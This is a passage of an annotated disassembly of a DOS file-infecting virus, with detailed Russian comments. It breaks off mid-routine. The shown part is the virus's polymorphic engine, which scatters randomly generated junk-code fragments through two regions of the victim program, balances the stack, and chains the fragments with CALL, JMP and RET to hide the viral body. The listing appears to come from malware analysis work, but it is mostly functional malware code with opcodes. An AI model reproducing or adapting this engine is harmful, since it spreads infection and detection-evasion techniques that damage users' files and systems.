║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ │ │ + ; │ ║▓▓▓ТЕЛО▓▓▓║░MEM░░│▒Инфо▒║ ││ Приписанный │ + ; ││ Область A │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ Область B ││ случайный │ │ + ; │ ║▓▓ВИРУСА▓▓║░блок░│▒блок▒║ ││ кусок из │ + ; ││ │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ файла │ │ + ; │ ║▓▓▓09C0▓▓▓║░0200░│▒0440▒║ ││ │ + ; ││ │ ║▓▓▓▓▓▓▓▓▓▓║░░░░░░│▒▒▒▒▒▒║ │ ││ │ │ + ; └─────────//──────────╚══════════╩══════╧══════╝───────────//──────────┘└───────┬──────────┘ + ; └─────────1000───────────┘ │ + ; 4K └─────────────────────────────────────────────┘ + ; Примечание : data_03CD - указатель нижней границы области А + ; data_03D2 - указатель верхней границы области А + ; data_03E2 - указатель нижней границы области В + ; data_03E7 - указатель верхней границы области В + + 03BE loc_03BE: + ;------- Проверка количества сгенерированных байтов (пределы ИНФО-блока) ----------- + 03BE 33 F6 xor si,si ; SI = 0000 + 03C0 B8 2D36 mov ax,1111h + data_03C1 = word ptr $ - 2 ; AX = конец ИНФО-блока + 03C3 2B C7 sub ax,di ; DI - текущий указатель ИНФО-блока + 03C5 3D 0010 cmp ax,10h ; Осталось менее 16 байтов ? + 03C8 72 2F jb short loc_03F9 ; Jump if YES + ;------- Проверка на выход за предел нижней границы блока "A" ---------------------- + 03CA 8B C3 mov ax,bx + 03CC 3D 122F cmp ax,1111h + data_03CD = word ptr $ - 2 + 03CF 72 28 jb short loc_03F9 ; Jump if below + ;------- Проверка на выход за пределы верхней границы блока "A" -------------------- + 03D1 B8 18C7 mov ax,1111h + data_03D2 = word ptr $ - 2 + 03D4 2B C3 sub ax,bx + 03D6 72 07 jc short loc_03DF ; Jump if carry Set + 03D8 3D 0009 cmp ax,9 + 03DB 72 1C jb short loc_03F9 ; Jump if below + 03DD EB 07 jmp short loc_03E6 + ;------- Проверка на выход за пределы нижней границы блока "B" --------------------- + 03DF loc_03DF: + 03DF 8B C3 mov ax,bx + 03E1 3D 39E2 cmp ax,1111h + data_03E2 = word ptr $ - 2 + 03E4 72 13 jb short loc_03F9 ; Jump if below + ;------- Проверка на выход за пределы верхней границы блока "B" -------------------- + 03E6 loc_03E6: + 03E6 B8 3D5E mov ax,1111h + data_03E7 = word ptr $ - 2 + 03E9 2B C3 sub ax,bx + 03EB 3D 0009 cmp ax,9 + 03EE 72 09 jb short loc_03F9 ; Jump if below + ;-------- Так как в границах, то продолжаем генерировать случайные команды --------- + 03F0 B8 0017 mov ax,23 ; 23 entries + 03F3 E8 FF52 call RND_0_AX + 03F6 D1 E0 shl ax,1 ; Shift w/zeros fill + 03F8 96 xchg si,ax + 03F9 loc_03F9: + 03F9 2E: FF 94 0400 call word ptr cs:data_0400[si] ; 23 entries + 03FE EB BE jmp short loc_03BE + sub_0359 endp + + 0400 042E data_0400 dw offset sub_042E + 0402 0660 data_0402 dw offset sub_0660 + 0404 066F data_0404 dw offset sub_066F + 0406 0685 data_0406 dw offset sub_0685 + 0408 06A3 data_0408 dw offset sub_06A3 + 040A 06E0 data_040A dw offset sub_06E0 + 040C 06E0 data_040C dw offset sub_06E0 + 040E 0717 data_040E dw offset sub_0717 + 0410 0735 data_0410 dw offset sub_0735 + 0412 0755 data_0412 dw offset sub_0755 + 0414 076A data_0414 dw offset sub_076A + 0416 0781 data_0416 dw offset sub_0781 + 0418 07A3 data_0418 dw offset sub_07A3 + 041A 07E8 data_041A dw offset sub_07E8 + 041C 07FD data_041C dw offset sub_07FD + 041E 081E data_041E dw offset sub_081E + 0420 0892 data_0420 dw offset sub_0892 + 0422 08C5 data_0422 dw offset sub_08C5 + 0424 0925 data_0424 dw offset sub_0925 + 0426 094D data_0426 dw offset sub_094D + 0428 0960 data_0428 dw offset sub_0960 + 042A 09C2 data_042A dw offset sub_09C2 + 042C 098A data_042C dw offset sub_098A + + ;========================================================================== + ; Управление разбрасыванием участков полиморфного мусора + ; Вход : флаг CF = 0 - продолжаем работу генератора + ; = 1 - сворачиваем работу генератор + ; Эта процедура производит ЗАКРЫТИЕ/ОТКРЫТИЕ/ПРОДРОЛЖЕНИЕ очередного + ; участка кода. Т.е. она фактически управляет алгоритмом "опплевывания" + ; файла (созданием, учетом и контролем процедур и участков кода в разных + ; местах программы-жертвы. В ходе своей работы процедура отслеживает все + ; CALL, JMP и RET в разных создаваемых участках. + ; Внимание! Вирус манипулирует подпрограммами. Но иногда эти подпрограммы + ; могут состоять из нескольких участков кода (управление между которыми + ; передается командами JMP). + ;========================================================================== + + sub_042E proc near + 042E 9F lahf ; Load ah from flags + 042F 95 xchg bp,ax + 0430 E8 0496 call sub_08C9 ; сформировать смещения для + ; SHORT переходов + 0433 59 pop cx + 0434 5A pop dx + ;------------------------------------------------------------------------------ + 0435 E8 FF0D call RND_01 ; с вероятностью 1/2 продолжаем + ; текущую подпрограмму в другом + ; участке + 0438 B0 02 mov al,2 ; Вероятность JMP и CALL равна + 043A 74 74 jz short loc_04B0 ; Jump if RND = 0 + ;------------------------------------------------------------------------------ + ; Если нужно сворачивать работу генератора, то вставляем команду перехода + 043C 8B C5 mov ax,bp + 043E 9E sahf ; Store ah into flags + 043F B8 0002 mov ax,2 ; Вероятность JMP и CALL равна + 0442 72 6C jc short loc_04B0 ; Jump if CF=1 + ;------------------------------------------------------------------------------ + ; С вероятностью 1/2 в текущей подпрограмме вызываем еще одну по команде CALL + 0444 E8 FEFE call RND_01 + 0447 75 6B jnz short loc_04B4 ; Jump if RND = 1 + ;------------------------------------------------------------------------------ + 0449 5E pop si + 044A 0B F6 or si,si ; Есть ли открытые подпрограммы ? + 044C 74 64 jz short loc_04B2 ; Если НЕТ, то вызываем первую + ; подпрограмму по команде CALL. + ; Если ДА, то закроем ее. + ;------------------------------------------------------------------------------ + ; "ЗАКРЫТЬ" участок кода (моделируем выход из подпрограммы по команде RETn) + ; SI - адрес с которого делали переход + + 044E 2E: 8F 06 046F pop cs:data_046F + 0453 58 pop ax + 0454 2E: A3 06F3 mov cs:data_06F3,ax ; Если AX=0, то сразу и обнуление + 0458 0B C0 or ax,ax ; Zero ? + 045A 74 0F jz short loc_046B ; Jump if zero + 045C 2E: 8F 06 06F3 pop cs:data_06F3 + 0461 2E: FF 36 06F3 push cs:data_06F3 + 0466 2E: FF 06 06F3 inc cs:data_06F3 + 046B loc_046B: + 046B 50 push ax + 046C EB 00 jmp short $+2 ; delay for I/O + ;------------------------------------------------------------------------------ + ; До какого значения нужно выровнять SP до выхода из подпрограммы, чтобы + ; правильно сработала команда RET. + 046E B8 0001 mov ax,1111h + data_046F = word ptr $ - 2 + 0471 2E: 87 06 06BE xchg cs:StackCounter,ax + 0476 2E: 2B 06 06BE sub ax,cs:StackCounter + 047B 48 dec ax + 047C E8 03C0 call sub_083F ; выровнять SP + ;------------------------------------------------------------------------------ + ; Если в вызывающей подпрограмме до вызова были неснятые значения в стеке, + ; то снимем пару-другую слов (случайное кол-во) из стека при выходе + 047F 2E: A1 06BE mov ax,cs:StackCounter + 0483 2E: 2B 06 06F3 sub ax,cs:data_06F3 + 0488 40 inc ax ;AX - количество не снятых слов + 0489 E8 FEBC call RND_0_AX + 048C 74 13 jz short loc_04A1 ; если AX=0, то выйти по RET + ;--------------- Выход по команде RET NEAR ----------------------------- + 048E 2E: 29 06 06BE sub cs:StackCounter,ax + 0493 D1 E0 shl ax,1 ; Shift w/zeros fill + 0495 50 push ax + 0496 B0 C2 mov al,0C2h ; cmd RET NEAR + 0498 E8 01B0 call Write_byte + 049B 58 pop ax + 049C E8 0197 call Write_word + 049F EB 05 jmp short loc_04A6 + ;--------------- Выход по команде RET NEAR ------------------------------------ + 04A1 loc_04A1: + 04A1 B0 C3 mov al,0C3h ; cmd RET NEAR + 04A3 E8 01A5 call Write_byte + ;------------------------------------------------------------------------------ + 04A6 loc_04A6: + 04A6 83 C6 03 add si,3 ; три байта на команду перехода + ; CALL или JMP + 04A9 2E: 89 36 054F mov cs:data_054F,si + 04AE 33 C0 xor ax,ax ; AX = 0 - признак вставки + ; команды "RETn" + 04B0 loc_04B0: + 04B0 EB 0F jmp short loc_04C1 + ;------------------------------------------------------------------------------ + 04B2 loc_04B2: + 04B2 56 push si ; запись Mark-end'а + 04B3 40 inc ax ; деление на 0 невозможно (нужно для RND) + 04B4 loc_04B4: + ; "ОТКРЫТЬ" новый участок кода (вызвать подпрограмму) + 04B4 2E: 8B 36 06BE mov si,cs:StackCounter + 04B9 56 push si ; сохранить кол-во слов в стеке + 04BA 46 inc si + 04BB 2E: 89 36 06F3 mov cs:data_06F3,si ; Значение счетчика стека до начала + ; этой подпрограммы + 04C0 53 push bx ; сохранить текущий указатель + ; очередного адреса (нужно чтобы + ; потом продолжить с него) + ;-------------------------------------------------------------------------- + 04C1 loc_04C1: + 04C1 52 push dx + 04C2 51 push cx + 04C3 95 xchg bp,ax + 04C4 9E sahf ; восстановить входные флаги + 04C5 9C pushf ; + 04C6 0B ED or bp,bp ; Уже вставили "RETn" ??? + 04C8 74 15 jz short loc_04DF ; bp = 0 - Да. + ;-------------- генерация команды перехода CALL или JMP ------------------- + 04CA 8B C5 mov ax,bp + 04CC E8 FE79 call RND_0_AX ; гадаем чего вставить + 04CF B0 E9 mov al,0E9h ; cmd JMP NEAR + 04D1 75 06 jnz short loc_04D9 ; Jump if not zero + 04D3 2E: FF 06 06BE inc word ptr cs:StackCounter ; с командой CALL в стеке + ; нужно прибавить одно слово + 04D8 48 dec ax ; cmd CALL NEAR + 04D9 loc_04D9: + 04D9 E8 016F call Write_byte ; запись команды + 04DC E8 0157 call Write_word ; запись адреса перехода + ; для начала случайного + ;-------------------------------------------------------------------------- + ; Закрываем очередную запись в инфо-блоке относящуюся к закрываемому + ; участку сгенерированного кода + 04DF loc_04DF: + 04DF 8D 45 FC lea ax,[di-4] ; 4 байта под начало записи + 04E2 BE 2B2C mov si,1111h ; динамический указатель ИНФО-блока + data_04E3 = word ptr $ - 2 + 04E5 2B C6 sub ax,si ; подсчет размера закрываемого участка + 04E7 89 04 mov [si],ax ; запись размера закрываемого участка + ;------------------------------------------------------------------------------ + 04E9 9D popf ; Pop flags + 04EA B8 1D36 mov ax,1111h ; входной адрес в вирус (для + ; последнего CALL или JMP) + data_04EB = word ptr $ - 2 + 04ED 73 03 jnc short loc_04F2 ; Jump if CF=0 + 04EF E9 0088 jmp loc_057A ; сворачиваем работу генератора + ;------------------------------------------------------------------------------ + ; Определяем : стоит ли менять границы областей ? + 04F2 loc_04F2: + 04F2 8B C3 mov ax,bx ; текущий указатель адреса + 04F4 2E: 3B 06 03CD cmp ax,cs:data_03CD + 04F9 72 4F jb short loc_054A ; Jump if ниже границы области А + + 04FB 2E: 3B 06 03E7 cmp ax,cs:data_03E7 + 0500 73 48 jae short loc_054A ; Jump if выше границы области В + + ;-------------------------- + 0502 2E: 2B 06 03E2 sub ax,cs:data_03E2 + 0507 73 27 jnc short loc_0530 ; Jump if попадает в область В + + 0509 2E: 8B 16 03D2 mov dx,cs:data_03D2 + 050E 3B DA cmp bx,dx + 0510 73 38 jae short loc_054A ; Jump if выпадает из областей + ;----------- Устанавливаем новые границы области "A" -------------------------- + 0512 2B 54 02 sub dx,[si+2] ; DX = расстояние от текущего + ; адреса до вершины области А + 0515 8B C3 mov ax,bx + 0517 2E: 2B 06 03CD sub ax,cs:data_03CD ; AX = расстояние от текущего + ; адреса до дна области А + ; подтягиваем ближнюю границу + 051C 3B C2 cmp ax,dx + 051E 72 09 jb short loc_0529 ; Jump if below + 0520 8B 44 02 mov ax,[si+2] + 0523 2E: A3 03D2 mov cs:data_03D2,ax ; опускаем верхнюю границу + 0527 EB 21 jmp short loc_054A + 0529 loc_0529: + 0529 2E: 89 1E 03CD mov cs:data_03CD,bx ; подымаем нижнюю границу + 052E EB 1A jmp short loc_054A + ;----------- Устанавливаем новые границы области "B" -------------------------- + 0530 loc_0530: + 0530 92 xchg dx,ax + 0531 2E: A1 03E7 mov ax,cs:data_03E7 + 0535 2B 44 02 sub ax,[si+2] + 0538 3B C2 cmp ax,dx + 053A 72 07 jb short loc_0543 ; Jump if below + 053C 2E: 89 1E 03E2 mov cs:data_03E2,bx ; меняем нижнюю границу + 0541 EB 07 jmp short loc_054A + 0543 loc_0543: + 0543 8B 44 02 mov ax,[si+2] + 0546 2E: A3 03E7 mov cs:data_03E7,ax ; опускаем верхнюю границу к + ; началу предыдущего участка + ;------------------------------------------------------------------------------ + ; Проверка : Нужно ли записывать смещение ? + 054A loc_054A: + 054A 0B ED or bp,bp ; Вставляли команду "RET" ? + 054C 75 06 jnz short loc_0554 ; Jump if NO + ; если вставляли RET, то смещение не нужно ... + 054E BB 0067 mov bx,1111h + data_054F = word ptr $ - 2 + 0551 9C pushf ; Push flags + 0552 EB 2E jmp short loc_0582 ; обойти код вставляющий + ; смещение + ;------------------------------------------------------------------------------ + ; гадаем в какой области ("A" или "B") распологать новый участок + 0554 loc_0554: + 0554 E8 FDEE call RND_01 ; вероятность равнозначная (1/2) + 0557 2E: A1 03E7 mov ax,cs:data_03E7 + 055B 2E: 8B 16 03E2 mov dx,cs:data_03E2 ; база = нижний предел "B" + 0560 74 09 jz short loc_056B ; Jump if RND = 0 + 0562 2E: A1 03D2 mov ax,cs:data_03D2 + 0566 2E: 8B 16 03CD mov dx,cs:data_03CD ; база = нижний предел "A" + 056B loc_056B: + 056B 2B C2 sub ax,dx ; AX = размер области + 056D 2D 0003 sub ax,3 ; Минимум три байта на команду + ; перехода (выхода) + 0570 77 03 ja short loc_0575 ; Переход если больше 3-х байт + 0572 B8 0001 mov ax,1 ; Только база(!). Без случайной + ; компоненты + 0575 loc_0575: + ; Определяем место расположения участка в выбранной области + 0575 E8 FDD0 call RND_0_AX + 0578 03 C2 add ax,dx ; AX = база + случайное смещение + 057A loc_057A: + 057A 9C pushf ; Push flags + 057B 2B C3 sub ax,bx ; AX = относительное смещение + ; нового участка кода + 057D 89 47 FE mov [bx-2],ax ; Записать этого смещения в команду + ; перехода + 0580 03 D8 add bx,ax ; BX = адрес нового участка + ;------------------------------------------------------------------------------ + ; Открываем новую запись в ИНФО-блоке + ; Формат инфо-блока : dw - размер участка (=00 - Mark-end ИНФО-блока) + ; dw - адрес участка + ; N*db - коды участка + ;------------------------------------------------------------------------------ + 0582 loc_0582: + 0582 2E: 89 3E 04E3 mov cs:data_04E3,di + 0587 33 C0 xor ax,ax ; Zero register + ; Сначала считаем что размер участка нулевой (этоже в случае свертывания + ; работы генератора является Mark-end'ом ИНФО-блока + 0589 AB stosw ; Store ax to es:[di] + 058A 8B C3 mov ax,bx + ; Запишем адрес начала нового участка генерируемого кода + 058C AB stosw ; Store ax to es:[di] + 058D 9D popf ; Pop flags + 058E 73 0E jnc short loc_ret_059E ; Jump if CF=0 + ;------------------------------------------------------------------------ + ; Завершаем работу полиморфного механизма + ;------------------------------------------------------------------------ + 0590 2E: 8B 3E 0A03 mov di,cs:data_0A03 + ; Запись Mark-end в MEM-блок + 0595 B4 FF mov ah,0FFh + 0597 AB stosw ; Store ax to es:[di] + 0598 BC 00EC mov sp,1111h ; восстанавливаем стек + data_0599 = word ptr $ - 2 + 059B B8 4000 mov ax,1111h ; AX = полный размер программы + ; с вирусом + data_059C = word ptr $ - 2 + 059E loc_ret_059E: + 059E C3 retn + sub_042E endp + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + 059F loc_059F: + 059F 80 FA 8E cmp dl,8Eh ; cmd MOV SEG, r/m + 05A2 9C pushf ; Push flags + 05A3 B0 00 mov al,0 + 05A5 74 03 jz short loc_05AA ; Jump if zero + 05A7 E8 FD9B call RND_01 ; Слова или байты ? + 05AA loc_05AA: + 05AA E8 009C call sub_0649 ; Запись команды + 05AD 92 xchg dx,ax + 05AE E8 FD80 call RND_0_FF ; Генерация байта адресации + 05B1 9D popf ; Pop flags + 05B2 75 13 jnz short loc_05C7 ; Jump if not zero + ;------------------------------------------------------------------------------ + 05B4 24 C7 and al,11000111b ; Выкидываем REG поле + 05B6 50 push ax + 05B7 E8 FD8B call RND_01 + 05BA 58 pop ax + 05BB 74 0A jz short loc_05C7 ; Jump if zero + ;------------------------------------------------------------------------------ + 05BD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Регистр DS модифицировать можно ? + 05C3 74 02 je short loc_05C7 ; Jump if NO + 05C5 0C 18 or al,00011000b ; Если ДА, то { cmd MOV DS, r/m } + 05C7 loc_05C7: + 05C7 D0 EA shr dl,1 ; Слова или байты ? + 05C9 73 0F jnc short loc_05DA ; Jump if байты + ;------------------------------------------------------------------------------ + ; В случае операции с 16-ти битными регистрами нужно откинуть SP + 05CB loc_05CB: + 05CB F9 stc ; Set carry flag + 05CC 9C pushf ; Push flags + 05CD 8A E0 mov ah,al + 05CF 80 E4 38 and ah,00111000b ; Выделение поля REG + 05D2 80 FC 20 cmp ah,00100000b + 05D5 75 02 jne short loc_05D9 ; Jump if not equal + 05D7 0C 08 or al,00001000b ; вместо SP подставляем BP + 05D9 loc_05D9: + 05D9 9D popf ; Pop flags + + ;========================================================================== + ; * Разборка байта адресации * + 05DA loc_05DA: + 05DA 9F lahf ; Load ah from flags + 05DB E8 006D call Write_byte + 05DE A8 C0 test al,11000000b ; Выделение MOD + 05E0 75 35 jnz short loc_0617 ; Jump if MOD <> 00 + 05E2 24 07 and al,00000111b ; Выделение R/M + 05E4 3C 06 cmp al,00000110b ; Если R/M = 110 (т.е. disp16) + ; то обход + 05E6 74 48 je short loc_0630 ; Jump if equal + 05E8 9E sahf ; Store ah into flags + 05E9 73 2B jnc short loc_ret_0616 ; Jump if carry=0 + ;--------------- определение типа процессора ---------------------------------- + 05EB 54 push sp + 05EC 5A pop dx + 05ED 3B D4 cmp dx,sp + 05EF 75 25 jne short loc_ret_0616 ; Jump if до 286 + ;------------------------------------------------------------------------------ + 05F1 3C 07 cmp al,00000111b + 05F3 B4 04 mov ah,4 + 05F5 74 0A jz short loc_0601 ; Jump if zero + 05F7 3C 04 cmp al,00000100b + 05F9 72 1B jb short loc_ret_0616 ; Jump if below + 05FB B4 01 mov ah,1 + 05FD 74 02 jz short loc_0601 ; Jump if zero + 05FF B4 03 mov ah,3 + 0601 loc_0601: + 0601 28 67 FF sub [bx-1],ah + 0604 E8 FD2A call RND_0_FF ; Генерируем байт адресации + 0607 24 C0 and al,11000000b ; Выделяем MOD + ; исключить регистровую адресацию (MOD=11) + 0609 3C C0 cmp al,11000000b ; MOD = 11 ? + 060B 75 02 jne short loc_060F ; Jump if no + 060D B0 80 mov al,10000000b ; сделать MOD = 10 + 060F loc_060F: + 060F 08 47 FF or [bx-1],al + 0612 0A C0 or al,al ; Zero ? + 0614 75 01 jnz short loc_0617 ; Jump if not zero + + 0616 loc_ret_0616: + 0616 C3 retn + 0617 loc_0617: + 0617 24 C0 and al,11000000b ; Выделяем MOD + 0619 3C 40 cmp al,40h + 061B 75 0F jne short loc_062C ; Jump if not equal + ;------------------------------------------------------------------------------ + ; Если процессор 286+, то не следует подходить к границе сегмента + 061D loc_061D: + 061D 54 push sp + 061E 58 pop ax + 061F 3B C4 cmp ax,sp + 0621 B8 00FF mov ax,0FFh + 0624 74 01 jz short loc_0627 ; Jump if zero + 0626 40 inc ax + 0627 loc_0627: + 0627 E8 FD1E call RND_0_AX + 062A EB 1F jmp short loc_064B + 062C loc_062C: + 062C 3C 80 cmp al,80h + 062E 75 10 jne short loc_ret_0640 ; Jump if not equal + ;===================IM16=================================================== + 0630 loc_0630: + 0630 B8 FFFF mov ax,0FFFFh + 0633 E8 FD12 call RND_0_AX + + ;========================================================================== + Write_word proc near + 0636 loc_0636: + 0636 E8 0012 call Write_byte + 0639 86 E0 xchg ah,al + 063B E8 000D call Write_byte + 063E 86 C4 xchg al,ah + + 0640 loc_ret_0640: + 0640 C3 retn + Write_word endp + + ;========================================================================== + ; SUBROUTINE + ;========================================================================== + + sub_0641 proc near + 0641 E8 FCF8 call RND_01234567 ; выбрать регистр + 0644 3C 04 cmp al,4 ; если SP, то отбросить + 0646 75 01 jne short loc_0649 ; Jump if not equal + 0648 40 inc ax + sub_0649: + 0649 loc_0649: + 0649 0A C2 or al,dl ; OP or REG + ;============================================================================== + ; Процедура записи снегенированного байта в память + ; DI - текущее положение в ИНФО-блоке + ; BX - указатель адреса заполняемого участка + ;============================================================================== + Write_byte: + 064B loc_064B: + 064B 50 push ax + 064C 86 07 xchg [bx],al + 064E AA stosb ; Store al to es:[di] + 064F 58 pop ax + 0650 43 inc bx ; Передвинуть указатель адреса + 0651 2E: FF 06 09E0 inc cs:BytesWrittenCounter ; Подсчет количества сгенериро- + ; ванных байт + ; Продвигаем указатель ИНФО-блока по мере генерации новых байтов + ; полиморфного "мусора" + 0656 56 push si + 0657 2E: 8B 36 04E3 mov si,cs:data_04E3 + 065C FF 04 inc word ptr [si] + 065E 5E pop si + 065F C3 retn + sub_0641 endp + + ;========================================================================== + ; Арифметические операции на регистрами типа КОП REG,r/m из набора data_0A43 + ;========================================================================== + + sub_0660 proc near + 0660 B8 000C mov ax,0Ch + 0663 E8 FCE2 call RND_0_AX ; AX = 00..0Bh + 0666 96 xchg si,ax + 0667 2E: 8A 94 0A43 mov dl,cs:data_0A43[si] + 066C E9 FF30 jmp loc_059F + sub_0660 endp + + ;========================================================================== + ; Операции пересылки в регистры + ;========================================================================== + + sub_066F proc near + 066F B2 B8 mov dl,0B8h ; cmd MOV REG,IM16 + 0671 E8 FCD1 call RND_01 + 0674 75 05 jnz short loc_067B ; Jump if not zero + 0676 E8 FFC8 call sub_0641 + 0679 EB B5 jmp short loc_0630 + 067B loc_067B: + 067B E8 FCBE call RND_01234567 ; Выбрать регистр + 067E 0C B0 or al,0B0h + 0680 E8 FFC8 call Write_byte ; cmd MOV REG,IM8 + 0683 loc_0683: + 0683 EB 98 jmp short loc_061D + sub_066F endp + + ;========================================================================== + ; Арифметические операции над регистром AX(AL) из набора data_0A4F + ;========================================================================== + + sub_0685 proc near + 0685 B8 000A mov ax,0Ah + 0688 E8 FCBD call RND_0_AX ; AX = 00..09 + 068B 96 xchg si,ax + 068C E8 FCB6 call RND_01 ; Выбираем слова или байты + 068F 2E: 0A 84 0A4F or al,cs:data_0A4F[si] + 0694 E8 FFB4 call Write_byte + 0697 0B F6 or si,si ; Zero ? + 0699 74 06 jz short loc_06A1 ; Jump if zero + 069B D0 E8 shr al,1 ; Выбрали слова или байты ? + 069D 72 02 jc short loc_06A1 ; Jump if carry Set + 069F EB E2 jmp short loc_0683 + 06A1 loc_06A1: + 06A1 EB 8D jmp short loc_0630 + sub_0685 endp + + ;============================================================================== + ; Операции с сегментными регистрами Prefix, PUSH SEGREG, POP SEGERG + ;============================================================================== + sub_06A3 proc near + 06A3 E8 FC9C call RND_012 ; Чего будем генерить ? + ; =0 - сегментный префикс + ; =1 - А может нужна команда POP + ; =2 - PUSH сегментный регистр + 06A6 B2 26 mov dl,26h ; SEG Prefix (ES:,DS:,CS:,SS:) + 06A8 74 0A jz short loc_06B4 ; Jump if zero + 06AA B2 06 mov dl,6 ; PUSH SEG_REG (ES/DS/CS/SS) + 06AC 48 dec ax + 06AD 74 0E jz short loc_06BD ; Jump if zero + 06AF loc_06AF: + 06AF 2E: FF 06 06BE inc cs:StackCounter ; Если команда PUSH, то доба- + ; вить слово в счетчик стека + 06B4 loc_06B4: + 06B4 E8 FC88 call RND_0123 ; выбираем сегментный регистр + 06B7 B1 03 mov cl,3 + 06B9 D2 E0 shl al,cl ; Shift w/zeros fill + 06BB EB 8C jmp short loc_0649 + ;------------------------------------------------------------------------------ + 06BD loc_06BD: + 06BD B8 0009 mov ax,1111h + StackCounter = word ptr $-2 + 06C0 2E: 3B 06 06F3 cmp ax,cs:data_06F3 ; Есть ли в текущей подпрограмме + ; не снятые значения в стеке ? + 06C5 74 E8 je loc_06AF ; НЕТ. Тогда положим одно слово + ;----------------------------------------------; ДА. Тогда снимем хоть одно --- + 06C7 42 inc dx ; cmd POP ES + 06C8 2E: FF 0E 06BE dec cs:StackCounter ; Снять слово со счетчика стека + 06CD 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Можно ли модифицировать DS ? + 06D3 74 07 je short loc_06DC ; Jump if NO + 06D5 E8 FC6D call RND_01 ; Так что будем или нет ? + 06D8 74 02 jz short loc_06DC ; Jump if RND=0 + 06DA B2 1F mov dl,1Fh ; cmd POP DS + 06DC loc_06DC: + 06DC 92 xchg dx,ax + 06DD loc_06DD: + 06DD E9 FF6B jmp loc_064B + sub_06A3 endp + + ;============================================================================== + ; Операции из набора data_0A5D + ; Примечание: data_06F3 - при нулевом значении указывает на отсутсвие + ; незакрытых подпрограмм + ; - при ненулевом значении указывает на наличие + ; открытых подпрограмм и содержит значение + ; счетчика стека при открытии очередной подпрограммы + ;============================================================================== + sub_06E0 proc near + 06E0 E8 FC5F call RND_012 ; Вероятность 1/2 + 06E3 74 06 jz short loc_06EB ; Jump if zero + 06E5 B8 0005 mov ax,5 + 06E8 E8 FC5D call RND_0_AX ; AX = 00..04 + 06EB loc_06EB: + 06EB 96 xchg si,ax + 06EC 75 10 jnz short loc_06FE ; Jump if not zero + 06EE 2E: A1 06BE mov ax,cs:StackCounter + 06F2 3D 0007 cmp ax,1111h + data_06F3 = word ptr $ - 2 + 06F5 74 06 je short loc_06FD ; Jump if equal + 06F7 2E: FF 0E 06BE dec cs:StackCounter + 06FC 4E dec si + 06FD loc_06FD: + 06FD 46 inc si + 06FE loc_06FE: + 06FE E8 FC3B call RND_01234567 ; Выбираем регистр + 0701 4E dec si + 0702 74 07 jz short loc_070B ; Jump if zero + ; Регистр SP отбросить + 0704 3C 04 cmp al,4 + 0706 75 08 jne short loc_0710 ; Jump if not equal + 0708 40 inc ax ; заменяем на BP + 0709 EB 05 jmp short loc_0710 + 070B loc_070B: + 070B 2E: FF 06 06BE inc cs:StackCounter ; добавить одно слово к счетчи- + ; ку стека + 0710 loc_0710: + 0710 2E: 0A 84 0A5D or al,cs:data_0A5D[si] + 0715 EB C6 jmp short loc_06DD + sub_06E0 endp + + ;============================================================================== + ; Операции из набора data_0A61 + ; Примечание : В случае процессора 286+ необходимо отбросить строковые операции + ; со словами, т.к. если SI или DI примут значение FFFFh, то + ; возникнет общая ощибка защиты (ПЕРЕХОД ЗА ГРАНИЦУ СЕГМЕНТА) + ;============================================================================== + sub_0717 proc near + 0717 B8 0017 mov ax,17h + ;--------------- определяем тип процессора ------------------------------------ + 071A 54 push sp + 071B 5A pop dx + 071C 3B D4 cmp dx,sp + 071E 75 03 jne short loc_0723 ; Jump if до 286 + 0720 2D 0003 sub ax,3 ; Иначе убрать строковые операции + 0723 loc_0723: + 0723 E8 FC22 call RND_0_AX + 0726 96 xchg si,ax + 0727 75 05 jnz short loc_072E ; Отслеживаем команду PUSHF + 0729 2E: FF 06 06BE inc cs:StackCounter + 072E loc_072E: + 072E 2E: 8A 84 0A61 mov al,cs:data_0A61[si] + 0733 EB A8 jmp short loc_06DD ; Write_byte + sub_0717 endp + + ;============================================================================== + ; Операции коррекции и загрузки из порта с вероятностью 1/2 каждая + ;============================================================================== + sub_0735 proc near + 0735 B2 D4 mov dl,0D4h ; cmd AAM/AAD IM8 + 0737 E8 FC0B call RND_01 ; с вероятностью 1/2 + 073A 74 05 jz short loc_0741 ; Jump if zero + 073C E8 02F7 call sub_0A36 ; Может вставить NOP ? + 073F B2 E4 mov dl,0E4h ; cmd IN AL,IM8 + 0741 loc_0741: + 0741 E8 FC01 call RND_01 ; Выбираем: слова или байты + 0744 E8 FF02 call sub_0649 ; Запись команды + 0747 E8 FBE7 call RND_0_FF ; Генерация IM8 + 074A 75 07 jnz short loc_0753 ; Jump if not zero + 074C 80 7F FF D4 cmp byte ptr [bx-1],0D4h + 0750 75 01 jne short loc_0753 ; Jump if not equal + 0752 40 inc ax + 0753 loc_0753: + 0753 EB 88 jmp short loc_06DD ; Write_byte + sub_0735 endp + + ;============================================================================== + ; Операция PUSH R/M + ;============================================================================== + sub_0755 proc near + 0755 B0 FF mov al,0FFh + 0757 E8 FEF1 call Write_byte ; набор Grp2/3 + 075A E8 FBD4 call RND_0_FF + 075D 24 C7 and al,11000111b ; из этого набора только + 075F 0C 30 or al,00110000b ; команда PUSH + 0761 2E: FF 06 06BE inc cs:StackCounter ; добавить слово в счетчик + 0766 F9 stc ; Set carry flag + 0767 E9 FE70 jmp loc_05DA + sub_0755 endp + + ;============================================================================== + ; Операция XCHG REG, R/M + ;============================================================================== + sub_076A proc near + 076A E8 FBD8 call RND_01 ; Выбираем: слова или байты + 076D 0C 86 or al,86h + 076F E8 FED9 call Write_byte + 0772 D0 E8 shr al,1 ; Выбрали слова или байты ? + 0774 73 06 jnc short loc_077C ; переход, если байты + 0776 E8 005A call sub_07D3 ; генерируем байт адресации + 0779 loc_0779: + 0779 E9 FE4F jmp loc_05CB ; Отлавливаем SP и записываем + sub_077C: + 077C loc_077C: + 077C E8 0054 call sub_07D3 ; генерируем байт адресации + 077F EB D2 jmp short loc_0753 ; Write_byte + sub_076A endp + + ;============================================================================== + ; Операции LEA, LDS, LES + ;============================================================================== + sub_0781 proc near + 0781 E8 FBBE call RND_012 + 0784 75 09 jnz short loc_078F ; Jump if not zero + 0786 2E: 80 3E 0A25 00 cmp cs:data_0A25,0 ; Можно менять регистр DS ? + 078C 75 01 jne short loc_078F ; Jump if YES + 078E 40 inc ax ; Если НЕТ, то откидываем LDS + 078F loc_078F: + 078F 